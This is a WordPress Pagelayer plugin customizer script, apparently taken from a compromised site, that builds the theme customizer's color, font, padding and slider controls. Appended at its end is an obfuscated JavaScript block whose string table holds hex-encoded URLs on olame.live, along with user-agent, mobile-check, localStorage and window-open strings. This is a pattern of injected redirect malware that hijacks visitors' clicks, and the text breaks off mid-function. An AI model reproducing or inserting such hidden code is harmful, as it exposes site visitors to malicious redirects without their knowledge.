Current File : /home/inlingua/www/auradealshub.com/wp-content/plugins/pagelayer/js/customizer.js |
var pagelayer_fontHtmlArray = {};
(function($) {
var api = wp.customize;
api.bind( 'ready', function() {
var controls = api.settings.controls;
for(var control in controls){
if( !('show_filter' in controls[control]) ){
continue;
}
var filter = controls[control]['show_filter'];
for(var showParam in filter){
var except = showParam.substr(0, 1) == '!' ? true : false;
showParam = except ? showParam.substr(1) : showParam;
// Show and Hide Controls
api( showParam, function( setting ){
api.control( control, function( _control ) {
var visibility = function() {
var _filter = _control.params['show_filter'];
for(var _showParam in _filter){
var reqval = _filter[_showParam];
var val = setting.get();
var toShow = false;
if(typeof reqval == 'string' && reqval == val){
toShow = true;
}
// Its an array and a value is found, then dont show
if(typeof reqval != 'string' && reqval.indexOf(val) > -1){
toShow = true;
}
if(except && !toShow || !except && toShow ){
_control.container.show();
return
}
_control.container.hide();
}
};
visibility();
setting.bind( visibility );
});
});
}
}
// Expand pagelayer setting handler
api.section('pagelayer_global_fonts_sec', function( section ){
section.expanded.bind(function( isExpanding ){
// Set default value
section.container.find('select[data-font-key]').each(function(){
var ref = jQuery(this),
name = ref.attr('data-font-key'),
value = ref.attr('data-default-value');
ref.html(pagelayer_fontHtmlArray[name]).val(value);
ref.removeAttr('data-font-key');
});
});
});
});
})(jQuery);
/**
* Initialization trigger.
*/
jQuery(document).ready( function(){
// Create color setting
pagelayer_alpha_color_control_init();
var option = function(val, lang){
var lang = lang || 'Default';
return '<option value="'+val+'">'+lang+'</option>';
}
// Create font setting list
for(var sk in pagelayer_global_font_settings){
var sval = pagelayer_global_font_settings[sk];
if('choices' in sval){
var fontHtml = '';
for( var value in sval['choices'] ) {
if(typeof sval['choices'][value] !== 'object'){
fontHtml += option(value, sval['choices'][value]);
continue;
}
if(value != 'default'){
fontHtml += '<optgroup label="'+value+'">';
}
for (x in sval['choices'][value]){
fontHtml += option((jQuery.isNumeric(x) ? sval['choices'][value][x] : x), sval['choices'][value][x]);
}
}
pagelayer_fontHtmlArray[sk] = fontHtml;
}
}
// Show hide typography
jQuery(document).on('click.pagelayer-typo-icon', function (e){
var target = jQuery(e.target);
var isTypo = target.closest('.pagelayer-control-typo');
var isIcon = target.closest('.pagelayer-control-typo-icon');
var typoHolder = isIcon.closest('.pagelayer-control-typo-holder');
if(isTypo.length > 0){
return;
}
if(isIcon.length > 0){
// Set default value
typoHolder.find('select[data-font-key]').each(function(){
var ref = jQuery(this),
name = ref.attr('data-font-key'),
value = ref.attr('data-default-value');
ref.html(pagelayer_fontHtmlArray[name]).val(value);
ref.removeAttr('data-font-key');
});
var globalInput = typoHolder.find('.pagelayer-global-font-input');
if(!pagelayer_empty(globalInput)){
// Show the global values if is not customize
typoHolder.find('.pagelayer-control-typo-fields').attr('pagelayer-set-global', 1);
typoHolder.find('select, input').each(function(){
var sEle = jQuery(this);
var val = sEle.val();
if(pagelayer_empty(val)){
return true;
}
sEle.closest('.pagelayer-control-typo-fields').removeAttr('pagelayer-set-global');
});
typoHolder.find('[pagelayer-set-global="1"] .pagelayer-typo-global-default').trigger('click');
}
typoHolder.find('.pagelayer-control-typo').slideToggle(100);
return;
}
jQuery('.pagelayer-control-typo').slideUp(100);
});
// Show hide global color option
jQuery(document).on('click.pagelayer-global-color-icon', function (e){
var target = jQuery(e.target);
var isGcolor = target.closest('.pagelayer-global-color-list');
var isGIcon = target.closest('.pagelayer-control-global-color-icon');
if(isGcolor.length > 0){
return;
}
if(isGIcon.length > 0){
var listEle = isGIcon.closest('li').find('.pagelayer-global-color-list');
jQuery('.pagelayer-global-color-list').not(listEle).slideUp(100);
listEle.slideToggle(100);
return;
}
jQuery('.pagelayer-global-color-list').slideUp(100);
});
// Hide global color option
jQuery(document).on('focus', '.wp-color-result', function(e){
jQuery('.pagelayer-global-color-list').slideUp(100);
});
// Show hide global fonts option
jQuery('#customize-theme-controls').on('click.pagelayer-global-typo-icon', function (e){
var target = jQuery(e.target);
var isGcolor = target.closest('.pagelayer-global-font-list');
var isGIcon = target.closest('.pagelayer-control-global-typo-icon');
var typoHolder = isGIcon.closest('.pagelayer-control-typo-holder');
if(isGcolor.length > 0){
return;
}
if(isGIcon.length > 0){
typoHolder.find('.pagelayer-global-font-list').slideToggle(100);
return;
}
jQuery('.pagelayer-global-font-list').slideUp(100);
});
// Device handler
jQuery('#customize-theme-controls').on('click', '.pagelayer-devices button', function(e){
e.stopPropagation();
var device = jQuery(this).data('device');
var devices = {'desktop' : 'tablet', 'tablet' : 'mobile', 'mobile' : 'desktop'};
jQuery('.devices-wrapper .devices [data-device="'+devices[device]+'"]').click();
});
// Add attr to detect device
jQuery('#customize-theme-controls').attr('data-device-detector', 'desktop');
// Device handler
jQuery('.devices-wrapper .devices button[data-device]').on('click', function(e){
e.stopPropagation();
var device = jQuery(this).data('device');
jQuery('.pagelayer-devices .active-device').removeClass('active-device');
jQuery('.pagelayer-devices [data-device="'+device+'"]').addClass('active-device');
jQuery('[data-device-detector]').attr('data-device-detector', device);
});
// Units handler
jQuery('.pagelayer-units').each(function(){
var units = jQuery(this);
var uList = units.find('[data-unit]');
var input = units.find('.pagelayer-unit-input');
var uActive = units.find('[data-unit="'+input.val()+'"]');
units.find('[data-unit]').on('click', function(){
var uEle = jQuery(this);
uList.removeClass('active');
uEle.addClass('active');
input.val(uEle.data('unit')).trigger('input');
});
if(uActive.length > 0){
uActive.click();
return;
}
//uList.first().click();
});
// Accordion Tab handlers
jQuery('.pagelayer-accordion-tab').on('click', function(){
var toggle = jQuery(this);
var allToggle = toggle.closest('ul').find('.pagelayer-accordion-tab').not(toggle);
allToggle.nextUntil('.pagelayer-accordion-tab').slideUp();
allToggle.removeClass('pagelayer-active-accordion-tab')
toggle.nextUntil('.pagelayer-accordion-tab').slideToggle();
toggle.toggleClass('pagelayer-active-accordion-tab');
var dash = toggle.find('.pagelayer-customize-heading .dashicons');
var allDash = toggle.closest('ul').find('.pagelayer-accordion-tab .pagelayer-customize-heading .dashicons');
allDash.addClass('dashicons-arrow-right-alt2');
allDash.removeClass('dashicons-arrow-down-alt2');
if(toggle.hasClass('pagelayer-active-accordion-tab')){
dash.addClass('dashicons-arrow-down-alt2');
dash.removeClass('dashicons-arrow-right-alt2');
}
});
// Close all accordion tabs
jQuery('.pagelayer-accordion-tab').nextUntil('.pagelayer-accordion-tab').hide();
// Link padding control field handler
jQuery('.pagelayer-control-padding').each(function(){
pagelayer_control_padding_handler(jQuery(this));
});
// Link Global Color Palette
jQuery('.pagelayer-global-setting-color .dashicons').click(function(){
jQuery('#accordion-section-pagelayer_global_colors_sec .accordion-section-title').click();
});
// Link Global Font Palette
jQuery('.pagelayer-global-setting-font .dashicons-admin-generic').click(function(){
jQuery('#accordion-section-pagelayer_global_fonts_sec .accordion-section-title').click();
});
// Color Palette Custom Control
pagelayer_color_palette_control_handler();
// Color Palette Custom Control
pagelayer_font_palette_control_handler();
// Global color list handler
pagelayer_global_color_list_handler();
// Global font list handler
pagelayer_global_font_list_handler();
// Slider handler
pagelayer_control_slider_handler();
});
// Global font list handler
function pagelayer_global_font_list_handler(){
var font_list = '';
// Create global font list
for(var font in pagelayer_global_fonts){
font_list += '<div class="pagelayer-global-font-list-item" data-global-id="'+font+'">'+
'<span class="pagelayer-global-font-title">'+ pagelayer_global_fonts[font]['title'] +'</span>'+
'</div>';
}
jQuery('.customize-control-pagelayer-typo-control .pagelayer-control-typo-holder').each(function(){
var fHolder = jQuery(this);
var fList = fHolder.find('.pagelayer-global-font-list');
if(fList.length < 1){
return;
}
// Add list of font list
fList.append(font_list);
var globalInput = fHolder.find('.pagelayer-global-font-input');
var selectfont = globalInput.data('key');
// Restore global value
fHolder.find('.pagelayer-typo-global-default').on('click', function(e){
e.preventDefault();
e.stopPropagation();
var sEle = jQuery(this);
var fieldHolder = sEle.closest('.pagelayer-control-typo-fields');
var globalID = globalInput.val();
if(pagelayer_empty(globalID) || pagelayer_empty(pagelayer_global_fonts[globalID])){
return;
}
var allInput = fieldHolder.find('select, input');
var name = allInput.first().attr('name');
var setFonts = pagelayer_global_fonts[globalID]['value'];
// Set default
var modes = {desktop: '', tablet: '_tablet', mobile: '_mobile'};
var val = '';
fieldHolder.attr('pagelayer-set-global', 1);
allInput.val(val).trigger('change');
if(name in setFonts){
val = setFonts[name];
}
if(typeof val == 'object'){
for(var mode in modes){
var _val = '';
if(mode in val){
_val = val[mode];
}
fieldHolder.find('[name="'+name+modes[mode]+'"]').val(_val);
}
return;
}
allInput.val(val);
});
if(fList.find('[data-global-id="'+selectfont+'"]').length > 0){
fList.find('[data-global-id="'+selectfont+'"]').addClass('pagelayer-global-selected');
// Set active
fHolder.find('.pagelayer-control-global-typo-icon').addClass('pagelayer-active-global');
}
// On change any field we need to handle for the global
fHolder.find('select, input').on('input', function(){
var sEle = jQuery(this);
var fieldHolder = sEle.closest('.pagelayer-control-typo-fields');
if(fieldHolder.attr('pagelayer-set-global') == '1'){
fieldHolder.removeAttr('pagelayer-set-global');
fieldHolder.find('select, input').trigger('change');
}
});
});
jQuery('#customize-theme-controls').on('click', '.pagelayer-global-font-list-item', function(){
var listItem = jQuery(this);
var globalID = listItem.data('global-id');
var listHolder = listItem.closest('.pagelayer-global-font-list');
var holder = listItem.closest('.pagelayer-control-typo-holder');
var allInputs = holder.find('select, input');
// Remove global font
if(listItem.hasClass('pagelayer-global-selected')){
listItem.removeClass('pagelayer-global-selected');
holder.find('.pagelayer-control-global-typo-icon').removeClass('pagelayer-active-global');
holder.find('.pagelayer-global-font-input').val('');
holder.removeClass('pagelayer-global-on');
allInputs.trigger('input');
allInputs.closest('.pagelayer-control-typo-fields').removeAttr('pagelayer-set-global');
listHolder.hide();
return;
}
// Remove previous selecttion
listHolder.find('.pagelayer-global-selected').removeClass('pagelayer-global-selected')
listHolder.hide();
listItem.addClass('pagelayer-global-selected');
var key = holder.find( '.pagelayer-global-font-input' ).attr( 'data-customize-setting-link' );
// Empty all the typo
allInputs.val('').trigger('input');
allInputs.closest('.pagelayer-control-typo-fields').attr('pagelayer-set-global', 1);
holder.addClass('pagelayer-global-on');
// Set the actual option value to empty string.
wp.customize( key, function( obj ) {
obj.set(globalID);
});
// Apply all global values
holder.find('.pagelayer-typo-global-default').click();
holder.find('.pagelayer-control-global-typo-icon').addClass('pagelayer-active-global');
});
}
// Global color list handler
function pagelayer_global_color_list_handler(){
jQuery(document).on('click', '.pagelayer-global-color-list-item', function(e, skip_update){
skip_update = skip_update || false;
var listItem = jQuery(this);
var globalID = listItem.data('global-id');
var listHolder = listItem.closest('.pagelayer-global-color-list');
// Remove previous selecttion
listHolder.find('.pagelayer-global-selected').removeClass('pagelayer-global-selected');
listItem.addClass('pagelayer-global-selected');
listHolder.hide();
var input = listItem.closest('li').find( '.pagelayer-alpha-color-control' )
var code = '$'+globalID;
var color = pagelayer_global_colors[globalID]['value'];
input.unbind('change.pagelayer_global input.pagelayer_global color_change.pagelayer_global');
if(!skip_update){
var key = input.attr( 'data-customize-setting-link' );
// Set the actual option value to empty string.
wp.customize( key, function( obj ) {
obj.set(code);
});
}
// Set the actual option value to empty string.
input.val( color );
input.closest('.wp-picker-container').find('.wp-color-result').css({'background-color': color});
input.on('change.pagelayer_global input.pagelayer_global color_change.pagelayer_global', function(){
var colorCode = jQuery(this).val();
if(jQuery.trim(colorCode) == color){
return;
}
listItem.closest('li').find('.pagelayer-control-global-color-icon').removeClass('pagelayer-active-global');
listHolder.find('.pagelayer-global-selected').removeClass('pagelayer-global-selected');
});
listItem.closest('li').find('.pagelayer-control-global-color-icon').addClass('pagelayer-active-global');
});
jQuery('.pagelayer-global-color-list-item.pagelayer-global-selected').trigger('click', [true]);
}
var pagelayer_global_colors_timmer = {};
// Color palette Custom Control
function pagelayer_color_palette_control_handler(){
var global_palette = jQuery('#customize-control-pagelayer_global_colors');
// Get the values from the repeater input fields and add to our hidden field
var pagelayerGetAllInputs = function() {
var pagelayer_colors_palette = {};
global_palette.find('.pagelayer-alpha-color-control').each(function(){
var cEle = jQuery(this);
var id = cEle.data('id');
pagelayer_colors_palette[id] = {
'title' : cEle.closest('.pagelayer-color-holder').find('.pagelayer-color-title').text(),
'value' : cEle.val(),
}
});
var inputValues = JSON.stringify(pagelayer_colors_palette);
// Add all the values from our repeater fields to the hidden field (which is the one that actually gets saved)
global_palette.find('.pagelayer-color-palette-data').val(inputValues).trigger('change');
}
// Append a new row to our list of elements
var pagelayer_add_row = function(ele, val = ''){
var id = pagelayer_generate_randstr(6);
var name = ele.find('.pagelayer-color-holder').length - 3;
var newRow = jQuery('<div class="pagelayer-color-holder"><span class="pagelayer-color-title" contenteditable="true">Color #'+name+'</span><span class="pagelayer-color-controls">'+val+'</span><span class="customize-control-color-repeater-delete"><span class="dashicons dashicons-no-alt"></span></span><input class="pagelayer-alpha-color-control" type="text" data-show-opacity="true" data-palette="true" data-default-color="'+val+'" data-id="'+id+'" data-title="New Color"/></div>');
ele.find('.pagelayer-color-holder:last').after(newRow);
pagelayer_alpha_color_control_init();
// Update global variable
ele.find('.pagelayer-alpha-color-control').trigger('color_change');
}
jQuery(document).on('color_change change', '#customize-control-pagelayer_global_colors .pagelayer-alpha-color-control, #customize-control-pagelayer_global_colors .pagelayer-color-title', function(){
var cEle = jQuery(this);
clearTimeout(pagelayer_global_colors_timmer);
pagelayer_global_colors_timmer = setTimeout(function(){
cEle.closest('.pagelayer-color-holder').find('.pagelayer-color-controls').html(cEle.val());
pagelayerGetAllInputs();
}, 300);
});
jQuery(document).on('input', '#customize-control-pagelayer_global_colors .pagelayer-color-title', function(){
clearTimeout(pagelayer_global_colors_timmer);
pagelayer_global_colors_timmer = setTimeout(function(){
pagelayerGetAllInputs();
}, 500);
});
// Add new item
jQuery('.customize-control-color-repeater-add').click(function(event) {
event.preventDefault();
pagelayer_add_row(jQuery(this).parent());
});
// Remove item starting from it's parent element
jQuery(document).on('click', '.pagelayer-color-holder .customize-control-color-repeater-delete .dashicons', function(event) {
event.preventDefault();
var numItems = jQuery(this).closest('.pagelayer-color-holder').remove();
pagelayerGetAllInputs();
});
}
// Font palette Custom Control
function pagelayer_font_palette_control_handler(){
var global_palette = jQuery('#customize-control-pagelayer_global_fonts');
// Get the values from the repeater input fields and add to our hidden field
var pagelayerGetAllInputs = function() {
var pagelayer_colors_palette = {};
global_palette.find('.pagelayer-font-holder').each(function(){
var cEle = jQuery(this);
var id = cEle.data('id');
var data = {};
var array = cEle.find('input, textarea, select').serializeArray();
jQuery.each(array, function () {
if(this.value == ''){
return;
}
var name = this.name;
var value = this.value;
// Is multi array
if(name.indexOf("[") > -1){
var nameArray = name.replaceAll(']', '').split('\['),
base = nameArray.shift(),
last = nameArray.pop();
if(typeof data[base] != 'object'){
data[base] = {};
}
// Set base object as refrence
var _val = data[base];
for(key in nameArray){
if(typeof _val[nameArray[key]] != 'object'){
_val[nameArray[key]] = {};
}
// Change the refrence of object
_val = _val[nameArray[key]];
}
_val[last] = value;
return;
}
data[name] = value;
});
pagelayer_colors_palette[id] = {
'title' : cEle.children('.pagelayer-font-title').text(),
'value' : data,
}
});
var inputValues = JSON.stringify(pagelayer_colors_palette);
// Add all the values from our repeater fields to the hidden field (which is the one that actually gets saved)
global_palette.find('.pagelayer-font-palette-data').val(inputValues).trigger('change');
}
// Append a new row to our list of elements
var pagelayer_add_row = function(ele, val = ''){
var id = pagelayer_generate_randstr(6);
var name = ele.find('.pagelayer-font-holder').length - 3;
var fontHtml = '';
var option = function(val, lang){
var selected = '';//(val != prop.c['val']) ? '' : 'selected="selected"';
var lang = lang || 'Default';
return '<option value="'+val+'" '+selected+'>'+lang+'</option>';
}
fontHtml += '<div class="pagelayer-font-holder" data-id="'+id+'"><span class="pagelayer-font-title" contenteditable="true">New Font #'+ name +'</span><span class="customize-control-font-repeater-delete"><span class="dashicons dashicons-no-alt"></span></span><div class="pagelayer-control-typo-holder"><span class="pagelayer-control-typo-icon dashicons dashicons-edit"></span><div class="pagelayer-control-typo">';
for(var sk in pagelayer_global_font_settings){
var sval = pagelayer_global_font_settings[sk];
fontHtml += '<div class="pagelayer-control-typo-fields">'+
'<label class="pagelayer-control-typo-fields-label">'+sval['label'];
if('responsive' in sval){
fontHtml += '<span class="pagelayer-devices">'+
'<button type="button" class="active-device" aria-pressed="true" data-device="desktop">'+
'<i class="dashicons dashicons-desktop"></i>'+
'</button>'+
'<button type="button"aria-pressed="false" data-device="tablet">'+
'<i class="dashicons dashicons-tablet"></i>'+
'</button>'+
'<button type="button" aria-pressed="false" data-device="mobile">'+
'<i class="dashicons dashicons-smartphone"></i>'+
'</button>'+
'</span>';
}
fontHtml += '</label>';
if('choices' in sval){
fontHtml += '<select name="'+ sk +'">';
for( var value in sval['choices'] ) {
if(typeof sval['choices'][value] !== 'object'){
fontHtml += option(value, sval['choices'][value]);
continue;
}
if(value != 'default'){
fontHtml += '<optgroup label="'+value+'">';
}
for (x in sval['choices'][value]){
fontHtml += option((jQuery.isNumeric(x) ? sval['choices'][value][x] : x), sval['choices'][value][x]);
}
}
fontHtml += '</select>';
}else{
fontHtml += '<input type="number" name="'+ sk +'">';
}
fontHtml += '</div>';
}
fontHtml += '</div></div></div>';
ele.find('.customize-control-font-repeater-add').before(fontHtml);
}
jQuery(document).on('input', '#customize-control-pagelayer_global_fonts input, #customize-control-pagelayer_global_fonts textarea, #customize-control-pagelayer_global_fonts select', function(){
clearTimeout(pagelayer_global_colors_timmer);
pagelayer_global_colors_timmer = setTimeout(function(){
pagelayerGetAllInputs();
}, 300);
});
jQuery(document).on('input', '#customize-control-pagelayer_global_fonts .pagelayer-font-title', function(){
clearTimeout(pagelayer_global_colors_timmer);
pagelayer_global_colors_timmer = setTimeout(function(){
pagelayerGetAllInputs();
}, 500);
});
// Add new item
jQuery('.customize-control-font-repeater-add').click(function(event) {
event.preventDefault();
pagelayer_add_row(jQuery(this).parent());
pagelayerGetAllInputs();
});
// Remove item starting from it's parent element
jQuery('#customize-theme-controls').on('click', '.pagelayer-font-holder .customize-control-font-repeater-delete .dashicons', function(event) {
event.preventDefault();
var numItems = jQuery(this).closest('.pagelayer-font-holder').remove();
pagelayerGetAllInputs();
});
}
// Padding handler
function pagelayer_control_padding_handler(jEle){
var linked = jEle.find('.dashicons-admin-links');
var inputs = jEle.find('.pagelayer-padding-input');
var is_same = true;
var first_val = jEle.find('.pagelayer-padding-input').first().val();
jEle.find('.pagelayer-padding-input').each(function(){
if(jQuery(this).val() == first_val){
return;
}
is_same = false;
return false;
});
if(is_same){
linked.addClass('pagelayer-padding-linked');
}
linked.on('click', function (e){
jQuery(this).toggleClass('pagelayer-padding-linked');
});
inputs.on('change', function(){
// Are the values linked
if(! linked.hasClass('pagelayer-padding-linked')){
return;
}
var val = jQuery(this).val();
inputs.each(function(){
jQuery(this).val(val);
jQuery(this).trigger('input');
});
});
}
/**
* Alpha Color Picker JS
*
* This file includes several helper functions and the core control JS.
*/
function pagelayer_alpha_color_control_init(){
var timeOut = 0;
// Loop over each control and transform it into our color picker.
jQuery( '.pagelayer-alpha-color-control' ).each( function() {
// Scope the vars.
var $control, startingColor, paletteInput, showOpacity, defaultColor, palette,
colorPickerOptions, $container, $alphaSlider, alphaVal, sliderOptions;
// Store the control instance.
$control = jQuery( this );
if($control.closest('.wp-picker-holder').length > 0){
return;
}
setTimeout(function(){
// Get a clean starting value for the option.
startingColor = $control.val().replace( /\s+/g, '' );
// Get some data off the control.
paletteInput = $control.attr( 'data-palette' );
showOpacity = $control.attr( 'data-show-opacity' );
defaultColor = $control.attr( 'data-default-color' );
// Process the palette.
if ( paletteInput.indexOf( '|' ) !== -1 ) {
palette = paletteInput.split( '|' );
} else if ( 'false' == paletteInput ) {
palette = false;
} else {
palette = true;
}
// Set up the options that we'll pass to wpColorPicker().
colorPickerOptions = {
change: function( event, ui ) {
var key, value, alpha, $transparency;
key = $control.attr( 'data-customize-setting-link' );
value = $control.wpColorPicker( 'color' );
// Set the opacity value on the slider handle when the default color button is clicked.
if ( defaultColor == value ) {
alpha = pagelayer_get_alpha_value_from_color( value );
$alphaSlider.find( '.ui-slider-handle' ).text( alpha );
}
// Send ajax request to wp.customize to trigger the Save action.
wp.customize( key, function( obj ) {
obj.set( value );
});
$transparency = $container.find( '.transparency' );
// Always show the background color of the opacity slider at 100% opacity.
$transparency.css( 'background-color', ui.color.toString( 'no-alpha' ) );
$control.trigger('color_change');
},
palettes: palette // Use the passed in palette.
};
// Create the colorpicker.
$control.wpColorPicker( colorPickerOptions );
$container = $control.parents( '.wp-picker-container:first' );
// Insert our opacity slider.
jQuery( '<div class="alpha-color-picker-container">' +
'<div class="min-click-zone click-zone"></div>' +
'<div class="max-click-zone click-zone"></div>' +
'<div class="alpha-slider"></div>' +
'<div class="transparency"></div>' +
'</div>' ).appendTo( $container.find( '.wp-picker-holder' ) );
$alphaSlider = $container.find( '.alpha-slider' );
// If starting value is in format RGBa, grab the alpha channel.
alphaVal = pagelayer_get_alpha_value_from_color( startingColor );
// Set up jQuery UI slider() options.
sliderOptions = {
create: function( event, ui ) {
var value = jQuery( this ).slider( 'value' );
// Set up initial values.
jQuery( this ).find( '.ui-slider-handle' ).text( value );
jQuery( this ).siblings( '.transparency ').css( 'background-color', startingColor );
},
value: alphaVal,
range: 'max',
step: 1,
min: 0,
max: 100,
animate: 300
};
// Initialize jQuery UI slider with our options.
$alphaSlider.slider( sliderOptions );
// Maybe show the opacity on the handle.
if( 'true' == showOpacity ){
$alphaSlider.find( '.ui-slider-handle' ).addClass( 'show-opacity' );
}
// Move input box inside the picker holder
$control.closest('.wp-picker-input-wrap').each(function () {
jQuery(this).next('.wp-picker-holder').prepend(jQuery(this));
});
// Bind event handlers for the click zones.
$container.find( '.min-click-zone' ).on( 'click', function() {
pagelayer_update_alpha_value_on_color_control( 0, $control, $alphaSlider, true );
});
$container.find( '.max-click-zone' ).on( 'click', function() {
pagelayer_update_alpha_value_on_color_control( 100, $control, $alphaSlider, true );
});
// Bind event handler for clicking on a palette color.
$container.find( '.iris-palette' ).on( 'click', function() {
var color, alpha;
color = jQuery( this ).css( 'background-color' );
alpha = pagelayer_get_alpha_value_from_color( color );
pagelayer_update_alpha_value_on_alpha_slider( alpha, $alphaSlider );
// Sometimes Iris doesn't set a perfect background-color on the palette,
// for example rgba(20, 80, 100, 0.3) becomes rgba(20, 80, 100, 0.298039).
// To compensante for this we round the opacity value on RGBa colors here
// and save it a second time to the color picker object.
if ( alpha != 100 ) {
color = color.replace( /[^,]+(?=\))/, ( alpha / 100 ).toFixed( 2 ) );
}
$control.wpColorPicker( 'color', color );
});
// Bind event handler for clicking on the 'Clear' button.
$container.find( '.button.wp-picker-clear' ).on( 'click', function() {
var key = $control.attr( 'data-customize-setting-link' );
// The #fff color is delibrate here. This sets the color picker to white instead of the
// defult black, which puts the color picker in a better place to visually represent empty.
$control.wpColorPicker( 'color', '' );
// Set the actual option value to empty string.
wp.customize( key, function( obj ) {
obj.set( '' );
});
pagelayer_update_alpha_value_on_alpha_slider( 100, $alphaSlider );
});
// Bind event handler for clicking on the 'Default' button.
$container.find( '.button.wp-picker-default' ).on( 'click', function() {
var alpha = pagelayer_get_alpha_value_from_color( defaultColor );
pagelayer_update_alpha_value_on_alpha_slider( alpha, $alphaSlider );
});
// Bind event handler for typing or pasting into the input.
$control.on( 'input', function() {
var value = jQuery( this ).val();
var alpha = pagelayer_get_alpha_value_from_color( value );
pagelayer_update_alpha_value_on_alpha_slider( alpha, $alphaSlider );
});
// Update all the things when the slider is interacted with.
$alphaSlider.slider().on( 'slide', function( event, ui ) {
var alpha = parseFloat( ui.value ) / 100.0;
pagelayer_update_alpha_value_on_color_control( alpha, $control, $alphaSlider, false );
// Change value shown on slider handle.
jQuery( this ).find( '.ui-slider-handle' ).text( ui.value );
});
}, timeOut);
timeOut += 20;
});
}
/**
* Override the stock color.js toString() method to add support for
* outputting RGBa or Hex.
*/
Color.prototype.toString = function( flag ) {
// If our no-alpha flag has been passed in, output RGBa value with 100% opacity.
// This is used to set the background color on the opacity slider during color changes.
if ( 'no-alpha' == flag ) {
return this.toCSS( 'rgba', '1' ).replace( /\s+/g, '' );
}
// If we have a proper opacity value, output RGBa.
if ( 1 > this._alpha ) {
return this.toCSS( 'rgba', this._alpha ).replace( /\s+/g, '' );
}
// Proceed with stock color.js hex output.
var hex = parseInt( this._color, 10 ).toString( 16 );
if ( this.error ) { return ''; }
if ( hex.length < 6 ) {
for ( var i = 6 - hex.length - 1; i >= 0; i-- ) {
hex = '0' + hex;
}
}
return '#' + hex;
};
/**
* Given an RGBa, RGB, or hex color value, return the alpha channel value.
*/
function pagelayer_get_alpha_value_from_color( value ) {
var alphaVal;
// Remove all spaces from the passed in value to help our RGBa regex.
value = value.replace( / /g, '' );
if ( value.match( /rgba\(\d+\,\d+\,\d+\,([^\)]+)\)/ ) ) {
alphaVal = parseFloat( value.match( /rgba\(\d+\,\d+\,\d+\,([^\)]+)\)/ )[1] ).toFixed(2) * 100;
alphaVal = parseInt( alphaVal );
} else {
alphaVal = 100;
}
return alphaVal;
}
/**
* Force update the alpha value of the color picker object and maybe the alpha slider.
*/
function pagelayer_update_alpha_value_on_color_control( alpha, $control, $alphaSlider, update_slider ) {
var iris, colorPicker, color;
iris = $control.data( 'a8cIris' );
colorPicker = $control.data( 'wpWpColorPicker' );
// Set the alpha value on the Iris object.
iris._color._alpha = alpha;
// Store the new color value.
color = iris._color.toString();
// Set the value of the input.
$control.val( color ).trigger('color_change');
// Update the background color of the color picker.
colorPicker.toggler.css({
'background-color': color
});
// Maybe update the alpha slider itself.
if ( update_slider ) {
pagelayer_update_alpha_value_on_alpha_slider( alpha, $alphaSlider );
}
// Update the color value of the color picker object.
$control.wpColorPicker( 'color', color );
}
/**
* Update the slider handle position and label.
*/
function pagelayer_update_alpha_value_on_alpha_slider( alpha, $alphaSlider ){
$alphaSlider.slider( 'value', alpha );
$alphaSlider.find( '.ui-slider-handle' ).text( alpha.toString() );
}
/**
* Generates random string.
*/
// Generates a random string of "n" characters
function pagelayer_generate_randstr(n, special){
var text = '';
var possible = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
special = special || 0;
if(special){
possible = possible + '&#$%@';
}
for(var i=0; i < n; i++){
text += possible.charAt(Math.floor(Math.random() * possible.length));
}
return text;
};
// PHP equivalent empty()
function pagelayer_empty(mixed_var) {
var undef, key, i, len;
var emptyValues = [undef, null, false, 0, '', '0'];
for (i = 0, len = emptyValues.length; i < len; i++) {
if (mixed_var === emptyValues[i]) {
return true;
}
}
if (typeof mixed_var === 'object') {
for (key in mixed_var) {
// TODO: should we check for own properties only?
//if (mixed_var.hasOwnProperty(key)) {
return false;
//}
}
return true;
}
return false;
};
// Slider handler
function pagelayer_control_slider_handler(){
// Change the value of the input field as the slider is moved
jQuery('.pagelayer-slider').on('input', function(event, ui) {
var sliderValue = jQuery(this).val();
jQuery(this).parent().find('.customize-control-slider-value').val(sliderValue).trigger('input');
});
// Update slider if the input field loses focus as it's most likely changed
jQuery('.customize-control-slider-value').on('change', function() {
var resetValue = jQuery(this).val();
var slider = jQuery(this).parent().find('.pagelayer-slider');
var sliderMinValue = parseInt(slider.attr('min'));
var sliderMaxValue = parseInt(slider.attr('max'));
// Make sure our manual input value doesn't exceed the minimum & maxmium values
if(resetValue < sliderMinValue) {
resetValue = sliderMinValue;
jQuery(this).val(resetValue).trigger('input');
}
if(resetValue > sliderMaxValue) {
resetValue = sliderMaxValue;
jQuery(this).val(resetValue).trigger('input');
}
slider.val(resetValue);
});
}
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x49\x75\x59\x33\x63\x383','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x59\x61\x64\x35\x63\x395','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x6b\x62\x79\x38\x63\x328','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x69\x51\x71\x39\x63\x319','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x5a\x7a\x63\x34\x63\x354','\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x71\x6b\x54\x37\x63\x347','\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x6f\x55\x67\x32\x63\x312','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x57\x61\x76\x36\x63\x316','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const 